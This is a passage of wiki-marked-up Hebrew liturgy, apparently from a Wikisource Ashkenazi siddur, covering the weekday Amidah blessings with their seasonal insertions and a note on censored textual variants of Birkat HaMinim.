אֱלֹהַיִךְ צִיּוֹן לְדֹר וָדֹר, הַלְלוּיָהּ׃'''{{ממס|תהלים קמו י}}&lt;קטע סוף=ימלוך/&gt;{{ש}}&lt;קטע התחלה=לדור/&gt;לְדֹר וָדֹר נַגִּיד גָּדְלֶךָ, וּלְנֵצַח נְצָחִים קְדֻשָּׁתְךָ נַקְדִּישׁ, וְשִׁבְחֲךָ אֱלֹהֵינוּ מִפִּינוּ לֹא יָמוּשׁ לְעוֹלָם וָעֶד, כִּי אֵל מֶלֶךְ גָּדוֹל וְקָדוֹשׁ אָתָּה. &lt;קטע סוף=לדור/&gt;בָּרוּךְ אַתָּה יְיָ, הָאֵל הַקָּדוֹשׁ. {{הור1|בעשי&quot;ת|הַמֶּלֶךְ הַקָּדוֹשׁ.}}{{סוף}}
&lt;קטע התחלה=ג א/&gt;אַתָּה קָדוֹשׁ וְשִׁמְךָ קָדוֹשׁ, וּקְדוֹשִׁים בְּכָל יוֹם יְהַלְלוּךָ סֶּלָה. &lt;קטע סוף=ג א/&gt;&lt;קטע התחלה=ג ת/&gt;בָּרוּךְ אַתָּה יְיָ, הָאֵל הַקָּדוֹשׁ. &lt;קטע סוף=ג ת/&gt;{{הור1|בעשי&quot;ת|הַמֶּלֶךְ הַקָּדוֹשׁ.}}&lt;קטע התחלה=ד כ/&gt;

===חונן הדעת===
&lt;קטע סוף=ד כ/&gt;&lt;קטע התחלה=ד א/&gt;אַתָּה חוֹנֵן לְאָדָם דַּעַת, וּמְלַמֵּד לֶאֱנוֹשׁ בִּינָה. &lt;קטע סוף=ד א/&gt;
{{רקע אפור}}{{הור|במוצאי שבת:}}{{ש}}&lt;קטע התחלה=אתה חוננתנו/&gt;אַתָּה חוֹנַנְתָּנוּ לְמַדַּע תּוֹרָתֶךָ, וַתְּלַמְּדֵנוּ לַעֲשׂוֹת חֻקֵּי רְצוֹנֶךָ, וַתַּבְדֵל יְיָ אֱלֹהֵינוּ בֵּין קֹדֶשׁ לְחוֹל, בֵּין אוֹר לְחֹשֶׁךְ, בֵּין יִשְׂרָאֵל לָעַמִּים, בֵּין יוֹם הַשְּׁבִיעִי לְשֵׁשֶׁת יְמֵי הַמַּעֲשֶׂה. אָבִינוּ מַלְכֵּנוּ, הָחֵל עָלֵינוּ הַיָּמִים הַבָּאִים לִקְרָאתֵינוּ לְשָׁלוֹם, חֲשׂוּכִים מִכָּל חֵטְא, וּמְנֻקִּים מִכָּל עָוֹן, וּמְדֻבָּקִים בְּיִרְאָתֶךָ. וְ&lt;קטע סוף=אתה חוננתנו/&gt;חָנֵּנוּ…{{סוף}}
&lt;קטע התחלה=ד חננו/&gt;חָנֵּנוּ מֵאִתְּךָ דֵּעָה בִּינָה וְהַשְׂכֵּל. &lt;קטע סוף=ד חננו/&gt;&lt;קטע התחלה=ד ת/&gt;בָּרוּךְ אַתָּה יְיָ, חוֹנֵן הַדָּעַת. &lt;קטע סוף=ד ת/&gt;&lt;קטע התחלה=ה כ/&gt;
===תשובה===
&lt;קטע סוף=ה כ/&gt;&lt;קטע התחלה=ה א/&gt;הֲשִׁיבֵנוּ אָבִינוּ לְתוֹרָתֶךָ, וְקָרְבֵנוּ מַלְכֵּנוּ לַעֲבוֹדָתֶךָ, וְהַחֲזִירֵנוּ בִתְשׁוּבָה שְׁלֵמָה לְפָנֶיךָ. &lt;קטע סוף=ה א/&gt;&lt;קטע התחלה=ה ת/&gt;בָּרוּךְ אַתָּה יְיָ, הָרוֹצֶה בִתְשׁוּבָה. &lt;קטע סוף=ה ת/&gt;&lt;קטע התחלה=ו כ/&gt;
===סליחה===
&lt;קטע סוף=ו כ/&gt;&lt;קטע התחלה=ו א/&gt;סְלַח לָנוּ אָבִינוּ כִּי חָטָאנוּ, מְחַל לָנוּ מַלְכֵּנוּ כִּי פָשָׁעְנוּ. &lt;קטע סוף=ו א/&gt;
&lt;קטע התחלה=ו כי/&gt;כִּי מוֹחֵל וְסוֹלֵחַ אָתָּה. &lt;קטע סוף=ו כי/&gt;{{הור|בקצת קהילות, בתענית ציבור אומרים כאן סליחות בחזרת הש&quot;ץ&lt;noinclude&gt; של שחרית&lt;/noinclude&gt;}} &lt;קטע התחלה=ו ת/&gt;בָּרוּךְ אַתָּה יְיָ, חַנּוּן הַמַּרְבֶּה לִסְלֹחַ. &lt;קטע סוף=ו ת/&gt;&lt;קטע התחלה=ז כ/&gt;
===גאולה===
&lt;קטע סוף=ז כ/&gt;&lt;קטע התחלה=ז א/&gt;רְאֵה {{ק|[נָא]}} בְעָנְיֵנוּ וְרִיבָה רִיבֵנוּ, וּגְאָלֵנוּ מְהֵרָה לְמַעַן שְׁמֶךָ, כִּי גוֹאֵל חָזָק אָתָּה. &lt;קטע סוף=ז א/&gt;&lt;קטע התחלה=ז ת/&gt;בָּרוּךְ אַתָּה יְיָ, גּוֹאֵל יִשְׂרָאֵל. &lt;קטע סוף=ז ת/&gt;{{רקע אפור}}&lt;קטע התחלה=עננו כ/&gt;
===עננו===
&lt;קטע סוף=עננו כ/&gt;{{הור|בחזרת הש&quot;ץ בתענית ציבור:}}{{ש}}&lt;קטע התחלה=עננו א/&gt;עֲנֵנוּ יְיָ עֲנֵנוּ בְּיוֹם צוֹם תַּעֲנִיתֵנוּ, כִּי בְצָרָה גְדוֹלָה אֲנָחְנוּ. אַל תֵּפֶן אֶל רִשְׁעֵנוּ, וְאַל תַּסְתֵּר פָּנֶיךָ מִמֶּנּוּ, וְאַל תִּתְעַלַּם מִתְּחִנָּתֵנוּ. הֱיֵה נָא קָרוֹב לְשַׁוְעָתֵנוּ, יְהִי חַסְדְּךָ לְנַחֲמֵנוּ, טֶרֶם נִקְרָא אֵלֶיךָ עֲנֵנוּ. כַּדָּבָר שֶׁנֶּאֱמַר: וְהָיָה טֶרֶם יִקְרָאוּ וַאֲנִי אֶעֱנֶה, עוֹד הֵם מְדַבְּרִים וַאֲנִי אֶשְׁמָע׃{{ממס|ישעיהו סה כד}} כִּי אַתָּה יְיָ הָעוֹנֶה בְּעֵת צָרָה, פּוֹדֶה וּמַצִּיל בְּכָל עֵת צָרָה וְצוּקָה. &lt;קטע סוף=עננו א/&gt;&lt;קטע התחלה=עננו ת/&gt;בָּרוּךְ אַתָּה יְיָ, הָעוֹנֶה בְּעֵת צָרָה.&lt;קטע סוף=עננו ת/&gt;{{סוף}}&lt;קטע התחלה=ח כ/&gt;
===רפואה===
&lt;קטע סוף=ח כ/&gt;&lt;קטע התחלה=ח א/&gt;רְפָאֵנוּ יְיָ וְנֵרָפֵא, הוֹשִׁיעֵנוּ וְנִוָּשֵׁעָה, כִּי תְהִלָּתֵנוּ אָתָּה. וְהַעֲלֵה רְפוּאָה שְׁלֵמָה לְכָל מַכּוֹתֵינוּ.&lt;קטע סוף=ח א/&gt;
{{רקע אפור}}{{הור|תפילה על חולה:}}{{ש}}{{ק|יְהִי רָצוֹן מִלְּפָנֶיךָ יְיָ אֱלֹהַי וֵאלֹהֵי אֲבוֹתַי, שֶׁתִּשְׁלַח מְהֵרָה רְפוּאָה שְׁלֵמָה מִן הַשָּׁמַיִם, רְפוּאַת הַנֶּפֶשׁ וּרְפוּאַת הַגּוּף, לַחוֹלֶה/לַחוֹלָה {{פבפ|זנ|נ}} בְּתוֹךְ שְׁאָר חוֹלֵי יִשְׂרָאֵל.}}{{סוף}}
&lt;קטע התחלה=ח כי/&gt;כִּי אֵל מֶלֶךְ רוֹפֵא נֶאֱמָן וְרַחֲמָן אָתָּה. &lt;קטע סוף=ח כי/&gt;&lt;קטע התחלה=ח ת/&gt;בָּרוּךְ אַתָּה יְיָ, רוֹפֵא חוֹלֵי עַמּוֹ יִשְׂרָאֵל. &lt;קטע סוף=ח ת/&gt;&lt;קטע התחלה=ט כ/&gt;

===ברכת השנים===
&lt;קטע סוף=ט כ/&gt;&lt;קטע התחלה=ט א/&gt;בָּרֵךְ עָלֵינוּ יְיָ אֱלֹהֵינוּ אֶת הַשָּׁנָה הַזֹּאת וְאֶת כָּל מִינֵי תְבוּאָתָהּ לְטוֹבָה. וְתֵן &lt;קטע סוף=ט א/&gt;{{ש}}
{{הור|בקיץ:}} &lt;קטע התחלה=ט קיץ/&gt;בְּרָכָה &lt;קטע סוף=ט קיץ/&gt; {{הור|בחורף:}} &lt;קטע התחלה=ט חורף/&gt;טַל וּמָטָר לִבְרָכָה &lt;קטע סוף=ט חורף/&gt;{{ש}}
&lt;קטע התחלה=ט על פני/&gt;עַל פְּנֵי הָאֲדָמָה, וְשַׂבְּעֵנוּ מִטּוּבֶךָ {{נוא|מִטּוּבָהּ}}, וּבָרֵךְ שְׁנָתֵנוּ כַּשָּׁנִים הַטּוֹבוֹת. &lt;קטע סוף=ט על פני/&gt;&lt;קטע התחלה=ט ת/&gt;בָּרוּךְ אַתָּה יְיָ, מְבָרֵךְ הַשָּׁנִים. &lt;קטע סוף=ט ת/&gt;&lt;קטע התחלה=י כ/&gt;

===קיבוץ גלויות===
&lt;קטע סוף=י כ/&gt;&lt;קטע התחלה=י א/&gt;תְּקַע בְּשׁוֹפָר גָּדוֹל לְחֵרוּתֵנוּ, וְשָׂא נֵס לְקַבֵּץ גָּלֻיּוֹתֵינוּ, וְקַבְּצֵנוּ יַחַד מֵאַרְבַּע כַּנְפוֹת הָאָרֶץ. &lt;קטע סוף=י א/&gt;&lt;קטע התחלה=י ת/&gt;בָּרוּךְ אַתָּה יְיָ, מְקַבֵּץ נִדְחֵי עַמּוֹ יִשְׂרָאֵל. &lt;קטע סוף=י ת/&gt;&lt;קטע התחלה=יא כ/&gt;
===משפט===
&lt;קטע סוף=יא כ/&gt;&lt;קטע התחלה=יא א/&gt;הָשִׁיבָה שׁוֹפְטֵינוּ כְּבָרִאשׁוֹנָה, וְיוֹעֲצֵינוּ כְּבַתְּחִלָּה. וְהָסֵר מִמֶּנוּ יָגוֹן וַאֲנָחָה. וּמְלֹךְ עָלֵינוּ אַתָּה יְיָ לְבַדְּךָ, בְּחֶסֶד וּבְרַחֲמִים, וְצַדְּקֵנוּ בַּמִּשְׁפָּט. &lt;קטע סוף=יא א/&gt;&lt;קטע התחלה=יא ת/&gt;בָּרוּךְ אַתָּה יְיָ, מֶלֶךְ אוֹהֵב צְדָקָה וּמִשְׁפָּט. &lt;קטע סוף=יא ת/&gt;{{הור1|בעשי&quot;ת|הַמֶּלֶךְ הַמִּשְׁפָּט.}}&lt;קטע התחלה=יב כ/&gt;
===ברכת המינים===
&lt;קטע סוף=יב כ/&gt;&lt;קטע התחלה=יב א/&gt;וְלַמַּלְשִׁינִים אַל תְּהִי תִקְוָה, וְכָל הָרִשְׁעָה כְּרֶגַע תֹּאבֵד, וְכָל אֹיְבֶיךָ מְהֵרָה יִכָּרֵתוּ, וְהַזֵּדִים מְהֵרָה תְעַקֵּר וּתְשַׁבֵּר וּתְמַגֵּר וְתַכְנִיעַ בִּמְהֵרָה בְיָמֵינוּ.{{הערה|נוסח ישן (השתנה בשל צנזורה): '''&lt;noinclude&gt;(&lt;/noinclude&gt;וְ&lt;noinclude&gt;)&lt;/noinclude&gt;לַמְּשֻׁמָּדִים''' אַל תְּהִי תִקְוָה, וְכָל '''הַמִּינִים''' כְּרֶֽגַע יֹאבֵֽדוּ, וְכָל '''אוֹיְבֵי עַמְּךָ''' מְהֵרָה יִכָּרֵֽתוּ, '''וּמַלְכוּת זָדוֹן''' מְהֵרָה תְעַקֵּר וּתְשַׁבֵּר וּתְמַגֵּר וְתַכְנִֽיעַ בִּמְהֵרָה בְיָמֵֽינוּ.&lt;noinclude&gt;{{ש}}
נוסח מצונזר בדפוס רעדלהיים: וְלַמַּלְשִׁינִים אַל תְּהִי תִקְוָה, וְכָל '''עוֹשֵׂי רִשְׁעָה כְּרֶֽגַע יֹאבֵֽדוּ''', '''וְכֻלָּם מְהֵרָה יִכָּרֵֽתוּ''', וְהַזֵּדִים מְהֵרָה תְעַקֵּר וּתְשַׁבֵּר וּתְמַגֵּר וְתַכְנִֽיעַ בִּמְהֵרָה בְיָמֵֽינוּ.&lt;/noinclude&gt;}} &lt;קטע סוף=יב א/&gt;&lt;קטע התחלה=יב ת/&gt;בָּרוּךְ אַתָּה יְיָ, שׁוֹבֵר אוֹיְבִים וּמַכְנִיעַ זֵדִים. &lt;קטע סוף=יב ת/&gt;&lt;קטע התחלה=יג כ/&gt;

===על הצדיקים===
&lt;קטע סוף=יג כ/&gt;&lt;קטע התחלה=יג א/&gt;עַל הַצַּדִּיקִים וְעַל הַחֲסִידִים וְעַל זִקְנֵי עַמְּךָ בֵּית יִשְׂרָאֵל וְעַל פְּלֵיטַת סוֹפְרֵיהֶם וְעַל גֵּרֵי הַצֶּדֶק וְעָלֵינוּ, יֶהֱמוּ רַחֲמֶיךָ יְיָ אֱלֹהֵינוּ, וְתֵן שָׂכָר טוֹב לְכָל הַבּוֹטְחִים בְּשִׁמְךָ בֶּאֱמֶת, וְשִׂים חֶלְקֵנוּ עִמָּהֶם לְעוֹלָם, וְלֹא נֵבוֹשׁ כִּי בְךָ בָטָחְנוּ. &lt;קטע סוף=יג א/&gt;&lt;קטע התחלה=יג ת/&gt;בָּרוּךְ אַתָּה יְיָ, מִשְׁעָן וּמִבְטָח לַצַּדִּיקִים. &lt;קטע סוף=יג ת/&gt;&lt;קטע התחלה=יד כ/&gt;
===ולירושלים===
&lt;קטע סוף=יד כ/&gt;&lt;קטע התחלה=יד א/&gt;וְלִירוּשָׁלַיִם עִירְךָ בְּרַחֲמִים תָּשׁוּב, וְתִשְׁכֹּן בְּתוֹכָהּ כַּאֲשֶׁר דִּבַּרְתָּ, וּבְנֵה אוֹתָהּ בְּקָרוֹב בְּיָמֵינוּ בִּנְיַן עוֹלָם, וְכִסֵּא דָוִד מְהֵרָה לְתוֹכָהּ תָּכִין. &lt;קטע סוף=יד א/&gt;
{{רקע אפור}}{{הור|במנחה של תשעה באב:}}{{ש}}&lt;קטע התחלה=נחם/&gt;נַחֵם יְיָ אֱלֹהֵינוּ אֶת אֲבֵלֵי צִיּוֹן וְאֶת אֲבֵלֵי יְרוּשָׁלַיִם, וְאֶת הָעִיר הָאֲבֵלָה וְהַחֲרֵבָה וְהַבְּזוּיָה וְהַשּׁוֹמֵמָה. הָאֲבֵלָה מִבְּלִי בָנֶיהָ, וְהַחֲרֵבָה מִמְּעוֹנוֹתֶיהָ, וְהַבְּזוּיָה מִכְּבוֹדָהּ, וְהַשּׁוֹמֵמָה מֵאֵין יוֹשֵׁב. וְהִיא יוֹשֶׁבֶת וְרֹאשָׁהּ חָפוּי, כְּאִשָּׁה עֲקָרָה שֶׁלֹּא יָלָדָה. וַיְבַלְּעוּהָ לִגְיוֹנוֹת, וַיִּירָשׁוּהָ עוֹבְדֵי פְסִילִים, וַיָּטִילוּ אֶת עַמְּךָ יִשְׂרָאֵל לֶחָרֶב, וַיַּהַרְגוּ בְזָדוֹן חֲסִידֵי עֶלְיוֹן. עַל כֵּן צִיּוֹן בְּמַר תִּבְכֶּה, וִירוּשָׁלַיִם תִּתֵּן קוֹלָהּ. לִבִּי לִבִּי עַל חַלְלֵיהֶם, מֵעַי מֵעַי עַל חַלְלֵיהֶם. כִּי אַתָּה יְיָ בָּאֵשׁ הִצַּתָּהּ, וּבָאֵשׁ אַתָּה עָתִיד לִבְנוֹתָהּ, כָּאָמוּר: וַאֲנִי אֶהְיֶה לָהּ נְאֻם יְיָ חוֹמַת אֵשׁ סָבִיב, וּלְכָבוֹד אֶהְיֶה בְּתוֹכָהּ׃{{ממס|זכריה ב ט}} בָּרוּךְ אַתָּה יְיָ, '''מְנַחֵם צִיּוֹן וּבוֹנֵה יְרוּשָׁלָיִם'''.&lt;קטע סוף=נחם/&gt;{{סוף}}&lt;קטע התחלה=יד ת/&gt;בָּרוּךְ אַתָּה יְיָ, בּוֹנֵה יְרוּשָׁלָיִם. &lt;קטע סוף=יד ת/&gt;&lt;קטע התחלה=טו כ/&gt;
===את צמח דוד===
&lt;קטע סוף=טו כ/&gt;&lt;קטע התחלה=טו א/&gt;אֶת צֶמַח דָּוִד עַבְדְּךָ מְהֵרָה תַצְמִיחַ, וְקַרְנוֹ תָּרוּם בִּישוּעָתֶךָ. כִּי לִישׁוּעָתְךָ קִוִּינוּ כָּל הַיּוֹם. &lt;קטע סוף=טו א/&gt;&lt;קטע התחלה=טו ת/&gt;בָּרוּךְ אַתָּה יְיָ, מַצְמִיחַ קֶרֶן יְשׁוּעָה. &lt;קטע סוף=טו ת/&gt;&lt;קטע התחלה=טז כ/&gt;
===שומע תפילה===
&lt;קטע סוף=טז כ/&gt;&lt;קטע התחלה=טז א/&gt;שְׁמַע קוֹלֵנוּ יְיָ אֱלֹהֵינוּ, חוּס וְרַחֵם עָלֵינוּ, וְקַבֵּל בְּרַחֲמִים וּבְרָצוֹן אֶת תְּפִלָּתֵנוּ, כִּי אֵל שׁוֹמֵעַ תְּפִלּוֹת וְתַחֲנוּנִים אָתָּה. וּמִלְּפָנֶיךָ מַלְכֵּנוּ רֵיקָם אַל תְּשִׁיבֵנוּ.&lt;קטע סוף=טז א/&gt;
{{רקע אפור}}{{הור|בתפילת לחש במנחה של תענית ציבור:}}{{ש}}&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|עננו א}}&lt;/noinclude&gt;

{{הור|בזמן עצירת גשמים בארץ ישראל:}}{{ש}}
&lt;קטע התחלה=ועננו/&gt;וַעֲנֵנוּ בּוֹרֵא עוֹלָם בְּמִדַּת רַחֲמֶיךָ, בּוֹחֵר בְּעַמּוֹ יִשְׂרָאֵל לְהוֹדִיעַ גָּדְלוֹ וְהַדְרַת כְּבוֹדוֹ. שׁוֹמֵעַ תְּפִלָּה, תֵּן טַל וּמָטָר לִבְרָכָה עַל פְּנֵי הָאֲדָמָה, וְשַׂבַּע אֶת הָעוֹלָם כֻּלּוֹ מִטּוּבֶךָ, וּמַלֵּא יָדֵינוּ מִבִּרְכוֹתֶיךָ וּמֵעֹשֶׁר מַתְּנַת יָדֶךָ. שָׁמְרָה וְהַצִּילָה שָׁנָה זוֹ מִכָּל דָּבָר רָע, וּמִכֹּל מִינֵי מַשְׁחִית וּמִכָּל מִינֵי פֻרְעָנוּת, וַעֲשֵׂה לָהּ תִּקְוָה וְאַחֲרִית שָׁלוֹם. חוּס וְרַחֵם עָלֵינוּ וְעַל כָּל תְּבוּאָתָהּ וּפֵרוֹתֶיהָ, וּבָרְכָהּ בְּגִשְׁמֵי רָצוֹן, בְּרָכָה וּנְדָבָה וְחַיִּים וָשֹׂבַע וְשָׁלוֹם, כַּשָּׁנִים הַטּוֹבוֹת. וְהָסֵר מִמֶּנּוּ דֶּבֶר וְחֶרֶב וְרָעָב, וְחַיָּה רָעָה וּשְׁבִי וּבִזָּה, וְיֵצֶר הָרָע, וָחֳלָיִם רָעִים וְקָשִׁים וּמְאֹרָעוֹת רָעוֹת וְקָשׁוֹת. וּגְזֹר עָלֵינוּ גְּזֵרוֹת טוֹבוֹת מִלְּפָנֶיךָ, וְיָגֹלּוּ רַחֲמֶיךָ עַל מִדּוֹתֶיךָ וְתִתְנַהֵג עִם בָּנֶיךָ בְּמִדַּת רַחֲמִים, וְקַבֵּל בְּרַחֲמִים וּבְרָצוֹן אֶת תְּפִלָּתֵנוּ. &lt;קטע סוף=ועננו/&gt;{{סוף}}
&lt;קטע התחלה=טז כי/&gt;כִּי אַתָּה שׁוֹמֵעַ תְּפִלַּת עַמְּךָ יִשְׂרָאֵל בְּרַחֲמִים. &lt;קטע סוף=טז כי/&gt;&lt;קטע התחלה=טז ת/&gt;בָּרוּךְ אַתָּה יְיָ, שׁוֹמֵעַ תְּפִלָּה. &lt;קטע סוף=טז ת/&gt;&lt;קטע התחלה=יז כ/&gt;

===עבודה===
&lt;קטע סוף=יז כ/&gt;&lt;קטע התחלה=יז א/&gt;רְצֵה יְיָ אֱלֹהֵינוּ בְּעַמְּךָ יִשְׂרָאֵל וּבִתְפִלָּתָם, וְהָשֵׁב אֶת הָעֲבוֹדָה לִדְבִיר בֵּיתֶךָ, וְאִשֵּׁי יִשְׂרָאֵל וּתְפִלָּתָם בְּאַהֲבָה תְקַבֵּל בְּרָצוֹן, וּתְהִי לְרָצוֹן תָּמִיד עֲבוֹדַת יִשְׂרָאֵל עַמֶּךָ. &lt;קטע סוף=יז א/&gt;
{{רקע אפור}}{{הור|בראש חודש ובחול המועד:}}{{ש}}{{יעלה ויבוא אשכנז|יום=חודש ומועד}}{{סוף}}
&lt;קטע התחלה=יז ותחזינה/&gt;וְתֶחֱזֶינָה עֵינֵינוּ בְּשׁוּבְךָ לְצִיּוֹן בְּרַחֲמִים. &lt;קטע סוף=יז ותחזינה/&gt;&lt;קטע התחלה=יז ת/&gt;בָּרוּךְ אַתָּה יְיָ, הַמַּחֲזִיר שְׁכִינָתוֹ לְצִיּוֹן.&lt;קטע סוף=יז ת/&gt;&lt;קטע התחלה=יח כ/&gt;
===הודאה===
&lt;קטע סוף=יח כ/&gt;&lt;קטע התחלה=יח א/&gt;מוֹדִים אֲנַחְנוּ לָךְ, שָׁאַתָּה הוּא יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ לְעוֹלָם וָעֶד, צוּר חַיֵּינוּ מָגֵן יִשְׁעֵנוּ אַתָּה הוּא לְדֹר וָדֹר. נוֹדֶה לְּךָ וּנְסַפֵּר תְּהִלָּתֶךָ, עַל חַיֵּינוּ הַמְּסוּרִים בְּיָדֶךָ, וְעַל נִשְׁמוֹתֵינוּ הַפְּקוּדוֹת לָךְ, וְעַל נִסֶּיךָ שֶׁבְּכָל יוֹם עִמָּנוּ, וְעַל נִפְלְאוֹתֶיךָ וְטוֹבוֹתֶיךָ שֶׁבְּכָל עֵת, עֶרֶב וָבֹקֶר וְצָהֳרָיִם. הַטּוֹב כִּי לֹא כָלוּ רַחֲמֶיךָ, וְהַמְרַחֵם כִּי לֹא תַמּוּ חֲסָדֶיךָ, מֵעוֹלָם קִוִּינוּ לָךְ. &lt;קטע סוף=יח א/&gt;
{{רקע אפור|צבע=#D9E2F3}}{{הור|בחזרת הש&quot;ץ, הקהל אומר:}}{{ש}}&lt;קטע התחלה=מודים דרבנן/&gt;מוֹדִים אֲנַחְנוּ לָךְ, שָׁאַתָּה הוּא יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, אֱלֹהֵי כָל בָּשָׂר, יוֹצְרֵנוּ יוֹצֵר בְּרֵאשִׁית. בְּרָכוֹת וְהוֹדָאוֹת לְשִׁמְךָ הַגָּדוֹל וְהַקָּדוֹשׁ, עַל שֶׁהֶחֱיִיתָנוּ וְקִיַּמְתָּנוּ. כֵּן תְּחַיֵּנוּ וּתְקַיְּמֵנוּ, וְתֶאֱסֹף גָּלֻיּוֹתֵינוּ לְחַצְרוֹת קָדְשֶׁךָ, לִשְׁמֹר חֻקֶּיךָ וְלַעֲשׂוֹת רְצוֹנֶךָ וּלְעָבְדְּךָ בְּלֵבָב שָׁלֵם, עַל שֶׁאֲנַחְנוּ מוֹדִים לָךְ, בָּרוּךְ אֵל הַהוֹדָאוֹת. &lt;קטע סוף=מודים דרבנן/&gt;{{סוף}}
{{רקע אפור}}
{{הור|בחנוכה:}}{{ש}}&lt;קטע התחלה=על הנסים/&gt;עַל הַנִּסִּים וְעַל הַפֻּרְקָן וְעַל הַגְּבוּרוֹת וְעַל הַתְּשׁוּעוֹת וְעַל הַמִּלְחָמוֹת שֶׁעָשִׂיתָ לַאֲבוֹתֵינוּ בַּיָּמִים הָהֵם בַּזְּמַן הַזֶּה, &lt;קטע סוף=על הנסים/&gt;&lt;קטע התחלה=בימי מתתיהו/&gt;בִּימֵי מַתִּתְיָהוּ בֶן יוֹחָנָן כֹּהֵן גָּדוֹל חַשְׁמוֹנָאִי וּבָנָיו, כְּשֶׁעָמְדָה מַלְכוּת יָוָן הָרְשָׁעָה עַל עַמְּךָ יִשְׂרָאֵל לְהַשְׁכִּיחָם תּוֹרָתֶךָ וּלְהַעֲבִירָם מֵחֻקֵּי רְצוֹנֶךָ. וְאַתָּה בְּרַחֲמֶיךָ הָרַבִּים עָמַדְתָּ לָהֶם בְּעֵת צָרָתָם, רַבְתָּ אֶת רִיבָם, דַּנְתָּ אֶת דִּינָם, נָקַמְתָּ אֶת נִקְמָתָם. מָסַרְתָּ גִבּוֹרִים בְּיַד חַלָּשִׁים וְרַבִּים בְּיַד מְעַטִּים וּטְמֵאִים בְּיַד טְהוֹרִים וּרְשָׁעִים בְּיַד צַדִּיקִים וְזֵדִים בְּיַד עוֹסְקֵי תוֹרָתֶךָ. וּלְךָ עָשִׂיתָ שֵׁם גָּדוֹל וְקָדוֹשׁ בְּעוֹלָמֶךָ, וּלְעַמְּךָ יִשְׂרָאֵל עָשִׂיתָ תְּשׁוּעָה גְדוֹלָה וּפֻרְקָן כְּהַיּוֹם הַזֶּה. וְאַחַר כָּךְ בָּאוּ בָנֶיךָ לִדְבִיר בֵּיתֶךָ, וּפִנּוּ אֶת הֵיכָלֶךָ וְטִהֲרוּ אֶת מִקְדָּשֶׁךָ, וְהִדְלִיקוּ נֵרוֹת בְּחַצְרוֹת קָדְשֶׁךָ, וְקָבְעוּ שְׁמוֹנַת יְמֵי חֲנֻכָּה אֵלּוּ לְהוֹדוֹת וּלְהַלֵּל לְשִׁמְךָ הַגָּדוֹל.&lt;קטע סוף=בימי מתתיהו/&gt;

{{הור|בפורים:}}{{ש}}עַל הַנִּסִּים וְעַל הַפֻּרְקָן וְעַל הַגְּבוּרוֹת וְעַל הַתְּשׁוּעוֹת וְעַל הַמִּלְחָמוֹת שֶׁעָשִׂיתָ לַאֲבוֹתֵינוּ בַּיָּמִים הָהֵם בַּזְּמַן הַזֶּה, &lt;קטע התחלה=בימי מרדכי/&gt;בִּימֵי מָרְדְּכַי וְאֶסְתֵּר בְּשׁוּשַׁן הַבִּירָה, כְּשֶׁעָמַד עֲלֵיהֶם הָמָן הָרָשָׁע, בִּקֵּשׁ לְהַשְׁמִיד לַהֲרֹג וּלְאַבֵּד אֶת כָּל הַיְּהוּדִים, מִנַּעַר וְעַד זָקֵן, טַף וְנָשִׁים, בְּיוֹם אֶחָד, בִּשְׁלוֹשָׁה עָשָׂר לְחֹדֶשׁ שְׁנֵים עָשָׂר הוּא חֹדֶשׁ אֲדָר, וּשְׁלָלָם לָבוֹז.{{ממס|לפני=מתוך|אסתר ג יג}} וְאַתָּה בְּרַחֲמֶיךָ הָרַבִּים הֵפַרְתָּ אֶת עֲצָתוֹ, וְקִלְקַלְתָּ אֶת מַחֲשַׁבְתּוֹ, וַהֲשֵׁבֹתָ לוֹ גְּמוּלוֹ בְרֹאשׁוֹ, וְתָלוּ אוֹתוֹ וְאֶת בָּנָיו עַל הָעֵץ.&lt;קטע סוף=בימי מרדכי/&gt;{{סוף}}
&lt;קטע התחלה=יח ועל/&gt;וְעַל כֻּלָּם, יִתְבָּרַךְ וְיִתְרוֹמַם שִׁמְךָ מַלְכֵּנוּ תָּמִיד, לְעוֹלָם וָעֶד. &lt;קטע סוף=יח ועל/&gt;
{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=וכתוב/&gt;וּכְתֹב לְחַיִּים טוֹבִים כָל בְּנֵי בְרִיתֶךָ. &lt;קטע סוף=וכתוב/&gt;{{סוף}}
{{רקע אפור}}
{{הור|בחזרת הש&quot;ץ של ימים נוראים (מנהג אשכנז המזרחי):}}{{ש}}
&lt;קטע התחלה=זכור רחמיך/&gt;אָבִינוּ מַלְכֵּנוּ, זְכֹר רַחֲמֶיךָ וּכְבֹשׁ כַּעַסְךָ, וְכַלֵּה דֶבֶר וְחֶרֶב וְרָעָב וּשְׁבִי וּמַשְׁחִית וְעָוֹן וּמַגֵּפָה וּפֶגַע רָע וְכָל מַחֲלָה וְכָל תַּקָּלָה וְכָל קְטָטָה וְכָל מִינֵי פֻרְעָנֻיּוֹת וְכָל גְּזֵרָה רָעָה וְשִׂנְאַת חִנָּם מֵעָלֵינוּ וּמֵעַל כָּל בְּנֵי בְרִיתֶךָ.&lt;קטע סוף=זכור רחמיך/&gt;
{{סוף}}
&lt;קטע התחלה=יח וכל/&gt;וְכֹל הַחַיִּים יוֹדוּךָ סֶּלָה, וִיהַלְלוּ אֶת שִׁמְךָ בֶּאֱמֶת, הָאֵל יְשׁוּעָתֵנוּ וְעֶזְרָתֵנוּ סֶלָה. &lt;קטע סוף=יח וכל/&gt;&lt;קטע התחלה=יח ת/&gt;בָּרוּךְ אַתָּה יְיָ, הַטּוֹב שִׁמְךָ וּלְךָ נָאֶה לְהוֹדוֹת. &lt;קטע סוף=יח ת/&gt;{{רקע אפור|צבע=#D9E2F3}}&lt;קטע התחלה=כהנים כ/&gt;
===ברכת כהנים===
&lt;קטע סוף=כהנים כ/&gt;&lt;קטע התחלה=לברך/&gt;בָּרוּךְ אַתָּה יְיָ אֱלֹהֵינוּ מֶלֶךְ הָעוֹלָם, אֲשֶׁר קִדְּשָׁנוּ בִּקְדֻשָּׁתוֹ שֶׁל אַהֲרֹן, וְצִוָּנוּ לְבָרֵךְ אֶת עַמּוֹ יִשְׂרָאֵל בְּאַהֲבָה. &lt;קטע סוף=לברך/&gt;
